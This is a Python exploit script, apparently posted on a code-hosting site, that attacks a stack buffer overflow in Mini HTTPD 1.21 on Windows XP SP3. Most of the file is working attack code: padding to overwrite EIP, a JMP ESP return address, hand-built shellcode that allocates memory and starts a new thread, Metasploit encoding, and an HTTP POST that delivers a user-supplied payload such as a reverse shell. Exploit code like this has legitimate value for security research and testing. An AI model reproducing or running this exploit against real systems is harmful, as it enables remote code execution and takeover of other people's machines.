163 lines
No EOL
6.4 KiB
Python
Executable file
163 lines
No EOL
6.4 KiB
Python
Executable file
#!/usr/bin/python
|
|
#
|
|
# Title: Mini HTTPD stack buffer overflow POST exploit
|
|
# Author: TheColonial
|
|
# Date: 20 Feb 2013
|
|
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
|
|
# Vendor Homepage: http://www.picolix.jp/
|
|
# Version: 1.21
|
|
# Tested on: Windows XP Professional SP3
|
|
#
|
|
# Description:
|
|
# This is a slightly more weaponised version of the Mini HTTPD buffer overflow
|
|
# written by Sumit, located here: http://www.exploit-db.com/exploits/31736/
|
|
# I wrote this up because the existing version had a hard-coded payload and
|
|
# didn't work on any of my XP boxes.
|
|
#
|
|
# The instability of the existing is down to bad chars, and the parent thread
|
|
# killing off the child thread when the thing is still running. This exploit
|
|
# allocates memory in a safe area, copies the payload to it, creates a new
|
|
# thread which runs the payload and then suspends the current thread. The
|
|
# suspending of the thread forces the parent to kill it off rather than let
|
|
# it crash and potentially bring the process down.
|
|
#
|
|
# Run the script without arguments to see usage.
|
|
|
|
import struct, socket, sys, subprocess
|
|
|
|
# Helper function that reads the body of files off disk.
|
|
def file_content(path):
|
|
with open(path, 'rb') as f:
|
|
return f.read()
|
|
|
|
# Sent the payload in the correct format to the target host/port.
|
|
def pwn(host, port, payload):
|
|
print "[*] Connecting to {0}:{1}...".format(host, port)
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((host, port))
|
|
print "[*] Connected, sending payload {0} bytes...".format(len(payload))
|
|
payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host)
|
|
s.send(payload)
|
|
s.shutdown
|
|
s.close
|
|
print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload))
|
|
|
|
# Create the part of the payload creates a thread to run the final payload in.
|
|
def create_payload_thread(final_payload_size):
|
|
VirtualAlloc = struct.pack("<L", 0x7c809AE1) # in kernel32
|
|
CreateThread = struct.pack("<L", 0x7c8106c7) # in kernel32
|
|
SuspendThread = struct.pack("<L", 0x7c83974A) # in kernel32
|
|
|
|
payload = ""
|
|
payload += "\x83\xec\x02" # add esp, 0x2 (aligns the stack)
|
|
payload += "\x89\xe6" # mov esi, esp
|
|
payload += "\x83\xc6\x00" # add esi, <some offset filled later>
|
|
count_offset = len(payload) - 1
|
|
|
|
# zero out ebx because we use zero a lot
|
|
payload += "\x31\xdb" # xor ebx,ebx
|
|
|
|
# allocate some memory to store our shellcode in which is
|
|
# away from the current active area and somewhere safe
|
|
payload += "\x6a\x40" # push 0x40
|
|
payload += "\x68\x00\x30\x00\x00" # push 0x3000
|
|
payload += "\x68\x00\x10\x00\x00" # push 0x1000
|
|
payload += "\x53" # push ebx
|
|
payload += "\xB8" + VirtualAlloc # mov eax,<address>
|
|
payload += "\xff\xd0" # call eax
|
|
|
|
# copy the payload over to the newly allocated area
|
|
size_bin = struct.pack("<L", final_payload_size + 4)
|
|
payload += "\xb9" + size_bin # mov ecx,final_payload_size
|
|
payload += "\x89\xc7" # mov edi,eax
|
|
payload += "\xf2\xa4" # rep movsb
|
|
|
|
# create the thread with a starting address pointing to the
|
|
# allocated area of memory
|
|
payload += "\x53" # push ebx
|
|
payload += "\x53" # push ebx
|
|
payload += "\x53" # push ebx
|
|
payload += "\x50" # push eax
|
|
payload += "\x53" # push ebx
|
|
payload += "\x53" # push ebx
|
|
payload += "\xB8" + CreateThread # mov eax,<address>
|
|
payload += "\xff\xd0" # call eax
|
|
|
|
# We call SuspendThread on the current thread, because this
|
|
# forces the parent to kill it. The bonus here is that doing
|
|
# so prevents the thread from dying and bringing the whole
|
|
# process down.
|
|
payload += "\x4b" # dec ebx
|
|
payload += "\x4b" # dec ebx
|
|
payload += "\x53" # push ebx
|
|
payload += "\xB8" + SuspendThread # mov eax,<address>
|
|
payload += "\xff\xd0" # call eax
|
|
payload += "\x90" * 4
|
|
|
|
# fill in the correct offset so that we point ESI to the
|
|
# right location at the start of the final payload
|
|
size = len(payload) + final_payload_size % 4
|
|
|
|
print "[*] Final stage is {0} bytes.".format(final_payload_size)
|
|
|
|
offset = struct.pack("B", size)
|
|
|
|
# write the value to the payload at the right location and return
|
|
return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)]
|
|
|
|
# Creates the first stage of the exploit which overwrite EIP to get control.
|
|
def create_stage1():
|
|
eip_offset = 5412
|
|
jmp_esp = struct.pack("<L", 0x7e4456F7) # JMP ESP in advapi32
|
|
|
|
eip_offset2 = eip_offset + 4
|
|
|
|
payload = ""
|
|
payload += "A" * eip_offset # padding to reach EIP overwrite
|
|
payload += jmp_esp # address to overwrite IP with
|
|
payload += "\x90" # alignment
|
|
payload += "\x83\xEC\x21" # rejig ESP
|
|
return payload
|
|
|
|
# Create encoded shellcode from the given payload.
|
|
def create_encoded_shellcode(payload):
|
|
print "[*] Input payload of {0} bytes received. Encoding...".format(len(payload))
|
|
params = ['msfencode', '-e', 'x86/opt_sub', '-t', 'raw',
|
|
'BufferRegister=ESP', 'BufferOffset=42', 'ValidCharSet=filepath']
|
|
encode = subprocess.Popen(params, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
|
|
shellcode, _ = encode.communicate(payload)
|
|
print "[*] Shellcode of {0} bytes generated.".format(len(shellcode))
|
|
return shellcode
|
|
|
|
print ""
|
|
print "MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"
|
|
print "-----------------------------------------------------"
|
|
print ""
|
|
print " Note: msfencode must be in the path and Metasploit must be up to date."
|
|
|
|
if len(sys.argv) != 4:
|
|
print ""
|
|
print " Usage: {0} <host> <port> <payloadfile>".format(sys.argv[0])
|
|
print ""
|
|
print " host : IP/name of the target host."
|
|
print " port : Port that the target is running on."
|
|
print " payloadfile : A file with the raw payload that is to be run."
|
|
print " This should be the raw, non-encoded output of"
|
|
print " a call to msfpayload"
|
|
print ""
|
|
print " eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"
|
|
print ""
|
|
else:
|
|
print ""
|
|
print " Make sure you have your listeners running!"
|
|
print ""
|
|
|
|
host = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
payload_file = sys.argv[3]
|
|
stage1 = create_stage1()
|
|
final_stage = file_content(payload_file)
|
|
thread_payload = create_payload_thread(len(final_stage))
|
|
shellcode = create_encoded_shellcode(thread_payload + final_stage)
|
|
padding = "A" * 0x10
|
|
pwn(host, port, stage1 + shellcode + padding) |